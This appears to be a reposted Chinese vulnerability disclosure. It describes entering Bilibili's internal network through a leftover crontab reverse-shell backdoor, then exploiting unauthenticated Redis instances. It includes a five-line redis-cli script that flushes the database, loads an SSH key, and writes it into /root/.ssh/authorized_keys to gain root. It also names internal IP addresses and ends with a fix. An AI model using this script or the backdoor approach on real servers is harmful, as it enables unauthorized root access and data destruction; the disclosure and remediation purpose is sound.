本文共 815 字，大约阅读时间需要 2 分钟。

转载地址：http://www.2cto.com/Article/201512/454117.html

我假装闲来无事地在 VPS 上监听了某一个端口，然后突然反弹过来一个 shell。嗯，假装是不知道哪年哪月的一个 crontab 后门再次把我带入了 Bilibili 的内网。

内网存在许多 redis 未授权访问，为什么不问问神奇海螺呢？

详细说明：

我假装闲来无事地在 VPS 上监听了某一个端口，然后突然反弹过来一个 shell。

估计是之前留的 crontab 后门，不过这不重要。

前几天爆出了 redis 未授权访问然后写 authorized_keys 来强行拿权限，总之原理是如此如此，可以看  http://www.2cto.com/Article/201512/454361.html 来了解具体利用。 在 B 站内网扫描了一下 6379 端口，然后写了一个 sh 脚本来自动化执行。  

code 区域

1 2 3 4 5

<code>redis-cli  -h $ 1 flushall      cat foo.txt | redis-cli -h $ 1 -x set 1      redis-cli -h $ 1 config set dir /root/.ssh      redis-cli -h $ 1 config set dbfilename authorized_keys      redis-cli -h $ 1 save</code>

然后“姆Q”的一下子，成功了一个。

Bilibili (゜-゜)つロ 乾杯~

由于 redis 是用 root 权限启动的，所以直接能在 /root/.ssh/ 下面写文件。

证明：

如图所示

修复方案：

用 nobody 权限来启动 redis。，

另外测试的 172.16.0.208、172.16.0.203 的 authorized_keys 已恢复，crontab 后门已清理。